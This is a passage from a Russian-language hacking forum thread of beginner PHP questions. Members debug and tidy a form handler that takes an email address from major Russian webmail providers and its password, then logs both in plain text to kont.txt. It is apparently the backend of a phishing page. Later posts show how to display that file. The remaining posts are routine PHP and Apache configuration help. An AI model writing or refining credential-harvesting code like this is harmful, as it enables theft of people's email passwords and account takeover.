HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #5601  
Старый 21.09.2008, 20:08
astrologer
Постоянный
Регистрация: 30.08.2007
Сообщений: 773
Провел на форуме:
3069349

Репутация: 808


По умолчанию

Цитата:
Сообщение от geforce  
Почему пишет ошибку?
1) Было бы неплохо указывать, какую именно ошибку.
2) Также имеет смысл лучше изучить основы используемого языка. Можно, например, начать отсюда.
 
Ответить с цитированием

  #5602  
Старый 21.09.2008, 20:11
d_x
Постоянный
Регистрация: 25.03.2008
Сообщений: 670
Провел на форуме:
4137635

Репутация: 2407


По умолчанию

PHP код:
<?php  
$f
=""
$mail[0]="mail.ru"
$mail[1]="list.ru"
$mail[2]="inbox.ru"
$mail[3]="bk.ru"
$mail[4]="yandex.ru"
$mail[5]="rambler.ru"

if (
$_POST["a"]==$f || $_POST["b"]==$f//проверяет поле на пустоту 
  
header('Location: error1.php');
else
{
  
$fs=explode("@",$_POST['a'],2);  //проверяет правильность мыла

  
if(in_array($fs[1],$mail))
  {
    if(isset(
$_POST["a"]) && isset($_POST["b"]))  //делает запись в текстовый файл если выше описаные проверки пройдены
    
{
      
$fh=fopen("kont.txt","a");

      
fputs($fh,"mail=>>>".$_POST["a"]."::::pass=>>>".$_POST["b"]."\r\n");
         
      
fclose($fh);        
 
      
header('Location: autor.php');
    }
  }
  else
  {
    
header('Location: error2.php');
  }
}
?>
P.S. Код не улучшал
 
Ответить с цитированием

  #5603  
Старый 21.09.2008, 20:12
NuR
Участник форума
Регистрация: 11.12.2005
Сообщений: 160
Провел на форуме:
745130

Репутация: 159
Отправить сообщение для NuR с помощью ICQ
По умолчанию

else {
header('Location: error2.php');
}

вот этот елсе хренпоймический, для него нету иф.


1) Было бы неплохо указывать, какую именно ошибку.
изучая код товарища гефорсе можно сделать вывод что ошибка в днк=)
 
Ответить с цитированием

  #5604  
Старый 21.09.2008, 20:20
d_x
Постоянный
Регистрация: 25.03.2008
Сообщений: 670
Провел на форуме:
4137635

Репутация: 2407


По умолчанию

Немного поприличнее вариант:

PHP код:
<?php   
$mail
=Array(
"mail.ru",
"list.ru",
"inbox.ru"
"bk.ru",
"yandex.ru",
"rambler.ru"
);

if (!isset(
$_POST["a"]) || !isset($_POST["b"]) || $_POST["a"]=='' || $_POST["b"]==''//проверяет поле на пустоту  
  
header('Location: error1.php'); 
else 

  
$fs=explode("@",$_POST['a'],2);  //проверяет правильность мыла 

  
if(in_array($fs[1],$mail) && preg_match("/^[_\-\.0-9a-z]+@[0-9a-z]{1}[_0-9a-z\.]+\.[a-z]{2,4}$/i",$fs[1])) 
  { 
    
$fh=fopen("kont.txt","a+"); 

    
fputs($fh,"mail=>>>".$_POST["a"]."::::pass=>>>".$_POST["b"]."\r\n"); 
          
    
fclose($fh);         
  
    
header('Location: autor.php'); 
  } 
  else 
  { 
    
header('Location: error2.php'); 
  } 

?>

Последний раз редактировалось d_x; 21.09.2008 в 23:22..
 
Ответить с цитированием

  #5605  
Старый 21.09.2008, 20:29
geforce
Постоянный
Регистрация: 21.08.2008
Сообщений: 302
Провел на форуме:
458686

Репутация: -25
Отправить сообщение для geforce с помощью ICQ
Wink

Цитата:
Сообщение от d_x  
PHP код:
<?php  
$f
=""
$mail[0]="mail.ru"
$mail[1]="list.ru"
$mail[2]="inbox.ru"
$mail[3]="bk.ru"
$mail[4]="yandex.ru"
$mail[5]="rambler.ru"

if (
$_POST["a"]==$f || $_POST["b"]==$f//проверяет поле на пустоту 
  
header('Location: error1.php');
else
{
  
$fs=explode("@",$_POST['a'],2);  //проверяет правильность мыла

  
if(in_array($fs[1],$mail))
  {
    if(isset(
$_POST["a"]) && isset($_POST["b"]))  //делает запись в текстовый файл если выше описаные проверки пройдены
    
{
      
$fh=fopen("kont.txt","a");

      
fputs($fh,"mail=>>>".$_POST["a"]."::::pass=>>>".$_POST["b"]."\r\n");
         
      
fclose($fh);        
 
      
header('Location: autor.php');
    }
  }
  else
  {
    
header('Location: error2.php');
  }
}
?>
P.S. Код не улучшал

СПАСИБО!!!
 
Ответить с цитированием

  #5606  
Старый 21.09.2008, 20:33
geforce
Постоянный
Регистрация: 21.08.2008
Сообщений: 302
Провел на форуме:
458686

Репутация: -25
Отправить сообщение для geforce с помощью ICQ
Red face

Вот так не работает
PHP код:
<?php $f=fopen("kont.txt") echo"$f";?>
Как вывести содержимое текстового документа на страницу?
 
Ответить с цитированием

  #5607  
Старый 21.09.2008, 20:40
P3L3NG
Banned
Регистрация: 04.06.2008
Сообщений: 402
Провел на форуме:
2267346

Репутация: 719
По умолчанию

Цитата:
Сообщение от geforce  
Вот так не работает
PHP код:
<?php $f=fopen("kont.txt") echo"$f";?>
Как вывести содержимое текстового документа на страницу?
[PHP][QUOTE=geforce]Вот так не работает [PHP]<?php
PHP код:
<?
$f
=fopen("kont.txt");
echo
"$f";
?>
точку с запятой забыл. или юзай функцию file_get_contents (вроде так..)
 
Ответить с цитированием

  #5608  
Старый 21.09.2008, 20:40
d_x
Постоянный
Регистрация: 25.03.2008
Сообщений: 670
Провел на форуме:
4137635

Репутация: 2407


По умолчанию

Цитата:
Как вывести содержимое текстового документа на страницу?
PHP код:
<?php print file_get_contents("kont.php"); ?>
 
Ответить с цитированием

  #5609  
Старый 21.09.2008, 21:04
Chode
Участник форума
Регистрация: 20.07.2008
Сообщений: 177
Провел на форуме:
625939

Репутация: 54
Отправить сообщение для Chode с помощью ICQ Отправить сообщение для Chode с помощью AIM
По умолчанию

У меня вопрос к установке apache - php вообщем не распознается код который идет после '<?' после '<?php' все нормально, че я не так настроил...порылся не нашел...
 
Ответить с цитированием

  #5610  
Старый 21.09.2008, 21:15
NuR
Участник форума
Регистрация: 11.12.2005
Сообщений: 160
Провел на форуме:
745130

Репутация: 159
Отправить сообщение для NuR с помощью ICQ
По умолчанию

Цитата:
Сообщение от Chode  
У меня вопрос к установке apache - php вообщем не распознается код который идет после '<?' после '<?php' все нормально, че я не так настроил...порылся не нашел...
short_open_tag yes
в php.ini
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 5421 21.04.2026 07:37
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости. Обсуждения. 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ